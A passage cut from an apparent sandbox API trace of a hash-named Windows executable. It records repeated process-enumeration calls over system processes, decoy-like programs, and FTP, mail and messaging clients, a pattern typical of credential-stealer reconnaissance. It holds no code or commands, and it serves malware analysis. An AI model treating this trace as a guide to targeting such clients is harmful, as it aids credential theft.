Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x11f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x60, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0097.520] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x9c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x60, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0097.521] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x700, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x278, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0097.522] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x13a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x37c, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0097.523] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xb60, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0097.524] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="1a0f891e8d7d659d550b35c54f542180cd2629d3a62e35e695e43fd1f5dad0b3.exe")) returned 1 [0097.525] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x278, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0097.526] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x278, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0097.527] CloseHandle (hObject=0x2f8) returned 1 [0097.527] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2111428 | out: hHeap=0x2110000) returned 1 [0097.527] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x2111428 [0097.527] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2f8 [0097.533] Process32First (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0097.533] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x71, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0097.534] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x130, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0097.535] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0097.536] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0097.537] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0097.538] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x200, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0097.539] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0097.539] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0097.540] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x278, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x31, th32ParentProcessID=0x218, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0097.541] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x218, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0097.542] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x200, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0097.542] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x218, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0097.543] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x218, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0097.544] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x38c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x218, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0097.545] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x218, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0097.545] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x218, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0097.546] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x218, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0097.547] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x468, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x218, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0097.548] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x218, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0097.549] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x60, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0097.549] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x218, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0097.550] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x31, th32ParentProcessID=0x620, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0097.551] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x674, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x278, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0097.552] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x218, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0097.552] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x278, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0097.553] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x278, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0097.554] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x278, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0097.555] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x278, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0097.556] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x8f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x218, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0097.556] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x60, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0097.557] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xbac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x218, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0097.558] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xc6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x278, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0097.560] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x60, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0097.561] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xefc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x218, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0097.562] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x278, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0097.563] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0097.564] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x150, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="radio.exe")) returned 1 [0097.564] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="measure tell challenge.exe")) returned 1 [0097.565] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x610, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="detail_blood_recent.exe")) returned 1 [0097.566] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="career fund.exe")) returned 1 [0097.567] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="mrchoice.exe")) returned 1 [0097.568] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x51c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="howpartmove.exe")) returned 1 [0097.568] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="cellpresent.exe")) returned 1 [0097.569] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xf90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="change-born-daughter.exe")) returned 1 [0097.570] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="everything_half.exe")) returned 1 [0097.571] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xf18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="especially.exe")) returned 1 [0097.572] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="everything receive.exe")) returned 1 [0097.572] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="violence share produce.exe")) returned 1 [0097.573] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="forward-usually-seven.exe")) returned 1 [0097.574] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="improve_hope_morning.exe")) returned 1 [0097.575] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="feel item itself.exe")) returned 1 [0097.575] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xd6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="necessary.exe")) returned 1 [0097.576] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="eight unit light.exe")) returned 1 [0097.577] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="us wide professional.exe")) returned 1 [0097.578] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xc18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="marriage.exe")) returned 1 [0097.578] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xbe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="you recently artist.exe")) returned 1 [0097.579] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xfc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0097.580] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xbdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0097.581] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0097.582] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0097.584] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xc40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0097.585] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0097.586] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0097.588] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0097.589] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0097.591] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0097.592] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xe24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0097.593] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0097.594] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x890, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0097.595] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x624, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0097.596] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x978, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0097.597] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x100c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0097.598] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1014, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0097.599] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1024, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, 